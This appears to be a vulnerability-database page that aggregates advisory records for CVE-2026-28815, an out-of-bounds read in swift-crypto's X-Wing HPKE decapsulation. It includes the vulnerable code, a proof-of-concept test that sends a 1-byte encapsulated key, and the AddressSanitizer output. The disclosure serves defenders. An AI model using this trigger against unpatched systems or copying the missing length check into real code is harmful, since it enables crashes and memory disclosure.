Vulnerability-Lookup

CVE-2026-28815 (GCVE-0-2026-28815)

Vulnerability from cvelistv5 – Published: 2026-04-03 01:32 – Updated: 2026-04-03 13:39

Summary

A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections. This issue is fixed in swift-crypto version 4.3.1.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-03 13:39 UTC

CWE

A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.
CWE-125 - Out-of-bounds Read

Assigner

apple mitre root

References

1 reference

URL	Tags
https://github.com/apple/swift-crypto/security/ad…

Impacted products

1 product

Vendor	Product	Version	CPE status
Apple	macOS	Affected: 4.0.0 , < 4.3.1 (custom)	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-28815

Vulnerability from fkie_nvd - Published: 2026-04-03 03:16 - Updated: 2026-07-24 21:10

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	product-security@apple.com	https://github.com/apple/swift-crypto/security/advisories/GHSA-9m44-rr2w-ppp7	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	apple	swift-crypto	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "macOS",
          "vendor": "Apple",
          "versions": [
            {
              "lessThan": "4.3.1",
              "status": "affected",
              "version": "4.0.0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "source": "product-security@apple.com"
    }
  ],
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    },
    {
      "lang": "es",
      "value": "Un atacante remoto puede proporcionar una clave encapsulada HPKE X-Wing corta y desencadenar una lectura fuera de l\u00edmites en la ruta de desencapsulaci\u00f3n C, lo que podr\u00eda causar un fallo o una divulgaci\u00f3n de memoria dependiendo de las protecciones en tiempo de ejecuci\u00f3n. Este problema se ha solucionado en la versi\u00f3n 4.3.1 de swift-crypto."
    }
  ],
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GHSA-9M44-RR2W-PPP7

Vulnerability from github – Published: 2026-04-03 03:39 – Updated: 2026-04-03 03:39

Summary

Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length

Details

Summary

The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter Data value is passed in, because the C code may read beyond the Swift buffer.

The issue is reachable through initialization of an HPKE.Recipient, which decapsulates the provided encapsulatedKey during construction. A malformed encapsulatedKey can therefore trigger undefined behavior instead of a safe length-validation error.

Details

The decapsulate function of OpenSSLXWingPrivateKeyImpl does not perform a length check before passing the encapsulated data to the C API.

func decapsulate(_ encapsulated: Data) throws -> SymmetricKey {
    try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in
        try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in
            let rc = CCryptoBoringSSL_XWING_decap(
                sharedSecretBytes.baseAddress,
                encapsulatedSecretBytes.baseAddress,
                &self.privateKey
            )
            guard rc == 1 else {
                throw CryptoKitError.internalBoringSSLError()
            }
            count = Int(XWING_SHARED_SECRET_BYTES)
        }
    }
}

The C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.

#define XWING_CIPHERTEXT_BYTES 1120

OPENSSL_EXPORT int XWING_decap(
    uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],
    const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],
    const struct XWING_private_key *private_key);

Since decapsulate accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a HPKE.Recipient. This creates a new HPKE.Context, which decapsulates the attacker-controlled enc argument:

init<PrivateKey: HPKEKEMPrivateKey>(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {
    let sharedSecret = try skR.decapsulate(enc)
    self.encapsulated = enc
    self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)
}

PoC

This PoC constructs an HPKE.Recipient using the X-Wing ciphersuite and deliberately passes a 1-byte encapsulatedKey instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a dynamic-stack-buffer-overflow read, confirming memory-unsafe behavior.

//===----------------------------------------------------------------------===//
//
// PoC for X-Wing malformed ciphertext-length decapsulation:
// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.
//
// This test is intentionally unsafe and is expected to crash (or trip ASan)
// on vulnerable builds when run.
//
//===----------------------------------------------------------------------===//

#if canImport(FoundationEssentials)
import FoundationEssentials
#else
import Foundation
#endif
import XCTest

#if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
// Skip tests that require @testable imports of CryptoKit.
#else
#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
@testable import CryptoKit
#else
@testable import Crypto
#endif

final class XWingMalformedEncapsulationPoCTests: XCTestCase {
    func testShortEncapsulatedKeyHPKERecipientInit() throws {
        if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {
            let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256
            let skR = try XWingMLKEM768X25519.PrivateKey.generate()
            let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes

            // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...)
            _ = try HPKE.Recipient(
                privateKey: skR,
                ciphersuite: ciphersuite,
                info: Data(),
                encapsulatedKey: malformedEncapsulatedKey
            )

            XCTFail("Unexpectedly returned from malformed decapsulation path")
        }
    }
}

#endif // CRYPTO_IN_SWIFTPM

Steps

Add the PoC XCTest above to the test suite.
Run the PoC normally to verify that malformed input is not rejected by length: bash swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit
Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access: bash swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit

Results

Normal run

The PoC test reaches the XCTFail path. HPKE.Recipient(...) accepted a 1-byte X-Wing encapsulated key instead of rejecting it for incorrect length.

Test Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started
... failed - Unexpectedly returned from malformed decapsulation path

AddressSanitizer run

The sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.

ERROR: AddressSanitizer: dynamic-stack-buffer-overflow
READ of size 1
...
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow
==...==ABORTING

Impact

Reported by Cantina.

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.3.0"
      },
      "package": {
        "ecosystem": "SwiftURL",
        "name": "swift-crypto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:39:38Z",
    "nvd_published_at": "2026-04-03T03:16:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer.\n\nThe issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error.\n\n### Details\n\nThe `decapsulate` function of `OpenSSLXWingPrivateKeyImpl`  does not perform a length check before passing the `encapsulated` data to the C API.\n\n```swift\nfunc decapsulate(_ encapsulated: Data) throws -\u003e SymmetricKey {\n    try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in\n        try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in\n            let rc = CCryptoBoringSSL_XWING_decap(\n                sharedSecretBytes.baseAddress,\n                encapsulatedSecretBytes.baseAddress,\n                \u0026self.privateKey\n            )\n            guard rc == 1 else {\n                throw CryptoKitError.internalBoringSSLError()\n            }\n            count = Int(XWING_SHARED_SECRET_BYTES)\n        }\n    }\n}\n```\n\nThe C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.\n\n```c\n#define XWING_CIPHERTEXT_BYTES 1120\n\nOPENSSL_EXPORT int XWING_decap(\n    uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],\n    const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],\n    const struct XWING_private_key *private_key);\n```\n\nSince `decapsulate` accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a `HPKE.Recipient`. This creates a new `HPKE.Context`, which decapsulates the attacker-controlled `enc` argument:\n\n```swift\ninit\u003cPrivateKey: HPKEKEMPrivateKey\u003e(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {\n    let sharedSecret = try skR.decapsulate(enc)\n    self.encapsulated = enc\n    self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)\n}\n```\n\n### PoC\n\nThis PoC constructs an `HPKE.Recipient` using the X-Wing ciphersuite and deliberately passes a 1-byte `encapsulatedKey` instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a `dynamic-stack-buffer-overflow` read, confirming memory-unsafe behavior.\n\n```swift\n//===----------------------------------------------------------------------===//\n//\n// PoC for X-Wing malformed ciphertext-length decapsulation:\n// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.\n//\n// This test is intentionally unsafe and is expected to crash (or trip ASan)\n// on vulnerable builds when run.\n//\n//===----------------------------------------------------------------------===//\n\n#if canImport(FoundationEssentials)\nimport FoundationEssentials\n#else\nimport Foundation\n#endif\nimport XCTest\n\n#if CRYPTO_IN_SWIFTPM \u0026\u0026 !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n// Skip tests that require @testable imports of CryptoKit.\n#else\n#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n@testable import CryptoKit\n#else\n@testable import Crypto\n#endif\n\nfinal class XWingMalformedEncapsulationPoCTests: XCTestCase {\n    func testShortEncapsulatedKeyHPKERecipientInit() throws {\n        if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {\n            let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256\n            let skR = try XWingMLKEM768X25519.PrivateKey.generate()\n            let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes\n\n            // Vulnerable path: HPKE.Recipient -\u003e skR.decapsulate(enc) -\u003e XWING_decap(...)\n            _ = try HPKE.Recipient(\n                privateKey: skR,\n                ciphersuite: ciphersuite,\n                info: Data(),\n                encapsulatedKey: malformedEncapsulatedKey\n            )\n\n            XCTFail(\"Unexpectedly returned from malformed decapsulation path\")\n        }\n    }\n}\n\n#endif // CRYPTO_IN_SWIFTPM\n```\n\n#### Steps\n\n1. Add the PoC XCTest above to the test suite.\n2. Run the PoC normally to verify that malformed input is not rejected by length:\n   ```bash\n   swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n   ```\n3. Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:\n   ```bash\n   swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n   ```\n\n#### Results\n\n##### Normal run\n\nThe PoC test reaches the `XCTFail` path. `HPKE.Recipient(...)` accepted a `1`-byte X-Wing encapsulated key instead of rejecting it for incorrect length.\n\n```text\nTest Case \u0027XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit\u0027 started\n... failed - Unexpectedly returned from malformed decapsulation path\n```\n\n##### AddressSanitizer run\n\nThe sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.\n\n```text\nERROR: AddressSanitizer: dynamic-stack-buffer-overflow\nREAD of size 1\n...\nSUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow\n==...==ABORTING\n```\n\n### Impact\n\nA remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.\n\nReported by Cantina.",
  "id": "GHSA-9m44-rr2w-ppp7",
  "modified": "2026-04-03T03:39:38Z",
  "published": "2026-04-03T03:39:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apple/swift-crypto/security/advisories/GHSA-9m44-rr2w-ppp7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28815"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apple/swift-crypto"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-28815 (GCVE-0-2026-28815)

FKIE_CVE-2026-28815

GHSA-9M44-RR2W-PPP7

Summary

Details

PoC

Steps

Results

Normal run

AddressSanitizer run

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour